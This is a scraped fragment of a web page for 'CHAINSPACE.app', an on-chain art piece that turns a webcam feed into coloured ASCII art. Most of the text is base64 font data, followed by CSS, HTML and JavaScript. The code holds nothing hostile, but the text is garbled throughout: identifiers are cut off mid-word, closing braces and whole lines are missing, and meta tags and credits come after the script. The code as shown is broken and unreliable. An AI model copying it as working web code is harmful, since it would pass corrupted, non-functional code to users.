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) format('woff');
  font-weight: normal;
  font-style: normal;
    text-align: center;
    overflow: hidden;
    background: #eaeaea;
    align-items: center;
    justify-content: center;
  body.mobile #text-video {
    font-family: 'Noto Mathcastles Remix', monospace;
    pointer-events: none;
    justify-content: center;
    align-items: center;
    transform: scaleX(-1);
    -webkit-transform: scaleXM
    background: #3D3D3D;
    font-size: 48px;
    justify-content: center;
    transform: scaleX(-1);
    -webkit-transform: scaleX(-1);
    cursor: pointer;
    justify-content: center;
    pointer-events: none;
    background: #fff;
    border: 1px solid #111;
    padding: 3px 10px;
    font-family: monospace;
    cursor: pointer;
    outline: inherit;
    border-radius: 3px;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    font-family: monospace;
    text-align: center;
    margin-top: 20px;
    margin-bottom: 4px;
    background: #222;
    border-radius: 20px;
    box-shadow: 0 0 16px 0 rgba(0, 0, 0, 0.5);
    margin-bottom: 0;
    font-size: 13px;
  <div id="wrapper">
      <video id="video">Portal is closed.</video>
      <canvas id="canvas-video"></canvas>
    <div id="frame">
      <div id="text-video"></div>
      <div id="header">
 You are the art in Chainspace.app
    <button id="stop">Wave</button>
    function run() {
      function isMobiM
        return (typeof window.orientation !== "undefined") || (navigator.userAgent.indexOf('IEMobile') !== -1);
      const video = document.getElementById('video')
      video.setAttribute('autoplay', '');
      video.setAttribute('muted', '');
      video.setAttribute('playsinline', '')
      const textVideo = document.getElementById('text-video')
      const canvas = document.getElementById('canvas-video')
      const ctx = canvas.getContext('2d', { willReadFrequently: true });
      let cyclerEnabled = false;
      let cycler = 0;
      let isMobile = isMobileDevice();
      const chars = [..."
      const colors = ["#565656", "#38A773", "#4EC58D", "#73D2A6", "#3D3D3D", ];
      let running = true;
      if (chars.length === 280) {
        cyclerEnabled = true;
      function setCanvasSize() {
        w = Math.min(window.innerWidth, 450);
        h = Math.min(window.innerHeight, isMobileDevice() ? 600M
        height = Math.floor(h / 10);
        width = Math.floor(w / 6.9);
      let resizeTimeout;
      window.onresize = function () {
        clearTimeout(resizeTimeout);
        resizeTimeout = setTimeout(setCanvasSize, 100);
      const init = () => {
        setCanvasSize();
        document.body.classList.add(isMobile ? 'mobile' : null)
        navigator.mediaDevices.getUserMedia({ video: true, audio: false })
          .then(function (stream) {
            video.srcObject = streM
            video.play();
          .catch(function (err) {
            running = false;
      const render = (ctx) => {
        if (width && height) {
          canvas.width = width;
          canvas.height = height;
          ctx.drawImage(video, 0, 0, width, height);
      const getPixelsGreyScale = (ctx) => {
        const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
        const data = imageData.data;
nst res = new Array(height).fill(0).map(() => []);
        for (let i = 0, c = 0; i < data.length; i += 4) {
          const avg = (data[i] + data[i + 1] + data[i + 2]) / 3;
          let curr = res[row]
          curr.push(avg)
          if (c < width) {
          if (c === width) {
            row += 1
        if (isMobile) {
          return res.map(row => row.slice(row.length / 4, row.length - row.length / 4));
      const getCharByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (chars.length));
        return chars[val % chars.length];
      const getColorByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (colors.length));
        return colors[val % colors.length];
      const renderText = (node, textDarkScale) => {
        let gap = isMobileDevice() ? 15 : 10;
        const gridElem = document.createElement('div');
        gridElem.claM
        gridElem.style.gridTemplateColumns = `repeat(${textDarkScale[0].length}, ${gap}px)`;
        gridElem.style.gridTemplateRows = `repeat(${textDarkScale.length}, ${gap}px)`;
        for (let i = 0; i < textDarkScale.length; i++) {
          for (let k = 0; k < textDarkScale[i].length; k++) {
            const textElem = document.createElement('p');
            textElem.style.color = getColorByScale(textDarkScale[i][k]);
            textElem.innerHTML = getCharByScale(textDarkScale[i][k]);
          gridElem.appendChild(textElem);
        node.textContent = "";
        node.appendChild(gridElem);
      const frame = () => requestAnimationFrame(() => {
        const chars = getPixelsGreyScale(ctx)
        renderText(textVideo, chars)
        if (running) {
        if (cyclerEnabled) {
          cycler+=3;
      document.getElementById('stop').addEventListener('click', (e)MC
        running = !running
        if (running) {
      document.getElementById('text-video').onclick = () => {
        cyclerEnabled = !cyclerEnabled;
    window.addEventListener('DOMContentLoaded', () => {
text/html;charset=utf-8
a hyperportal inscribed on-chain
enter at your own risk
Conjured by el_ranye x @timshelxyz
  * Mathcastles Studios (0x113d & xaltgeist)
  * Aleksandr Kubarskii
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width,user-scalable=no,initial-scale=1,maximum-scale=1,minimum-scale=1">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>CHAINSPACE.app</title>
  font-family: 'Noto Mathcastles Remix';
  src: url(data:application/font-woff2;charset=utf-8;base64,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
